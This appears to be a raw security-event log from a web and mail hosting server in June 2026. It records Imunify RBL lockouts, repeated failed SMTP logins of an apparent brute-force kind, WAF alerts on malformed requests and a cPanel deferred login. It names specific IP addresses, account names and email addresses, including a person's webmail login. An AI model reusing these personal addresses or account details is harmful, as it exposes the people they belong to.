Jun 23 00:14:49 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 00:14:53 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:14:51 dovecot_login authenticator failed for H=(MLRhOS) [77.83.39.77]:63727: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 00:14:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:51562: 535 Incorrect authentication data (set_id=aftermarket-robotech)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 00:15:03 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.159.90.127
country_id: 2750405
description:
Jun 23 00:15:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.159.90.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 3190538
description:
Jun 23 00:16:08 ns5 pure-ftpd[2863165]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 23 00:15:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-23 00:15:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37312: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-23 00:15:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:63654: 535 Incorrect authentication data (set_id=123)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-23 00:15:49 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33198: 535 Incorrect authentication data (set_id=psicologia)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-23 00:15:50 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:65204: 535 Incorrect authentication data (set_id=takashima)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 23 00:15:53 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 23 00:15:41 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:15:45 dovecot_login authenticator failed for H=(vod9qo97u) [77.83.39.77]:50249: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-23 00:15:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3182: 535 Incorrect authentication data (set_id=web15)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 23 00:15:41 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-23 00:15:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:6672: 535 Incorrect authentication data (set_id=edipo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:15:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.132.160.240
country_id: 2921044
description:
2026-06-23 00:15:50 dovecot_plain authenticator failed for H=(gh78frtxrt9etgzxxjucdxbmmx0ux) [91.132.160.240]:42976: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 23 00:15:47 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 23 00:15:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.132.160.240
country_id: 2921044
description:
Jun 23 00:15:48 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.132.160.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.195.39.17
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/economie/page/125992904 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:16:40 dovecot_login authenticator failed for H=(0QCAZv2) [77.83.39.77]:56529: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:16:56 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.102.66
country_id: 2363686
description:
[2026-06-23 00:17:25 +0000] info [webmaild] 196.170.102.66 - leo.afagbedji@togointerim.net "POST /cpsess9225367742/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.169.18.121] != Current IP Address [196.170.102.66]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:17:52 dovecot_login authenticator failed for H=(DRJhOfWl) [77.83.39.77]:62693: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:17:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 23 00:19:20 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:18:44 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:18:46 dovecot_login authenticator failed for H=(s5JCrZCoO) [77.83.39.77]:60375: 535 Incorrect authentication data (set_id=adt-togo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:19:40 dovecot_login authenticator failed for H=(Ta9m0Gh) [77.83.39.77]:63780: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.186
country_id: 130758
description:
Jun 23 00:20:16 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:19:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:21:10 dovecot_login authenticator failed for H=(AIbGxL) [77.83.39.77]:55968: 535 Incorrect authentication data (set_id=adt-togo)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.121.145
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/519898857 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 77.83.39.77
country_id: 690791
description:
2026-06-23 00:20:52 dovecot_login authenticator failed for H=(VEGpioa) [77.83.39.77]:53908: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [23/Jun/2026:00:21:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999206&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782174060 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.117.47.156
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/economie/page/1317324012 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.83.39.77
country_id: 690791
description:
Jun 23 00:20:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.83.39.77 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.65
country_id: 130758
description:
Jun 23 00:21:43 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.65 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.44.165.77
country_id: 1694008
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/author/admin/page/899093 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.88
country_id: 130758
description:
Jun 23 00:24:25 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.88 has been locked due to Imunify RBL


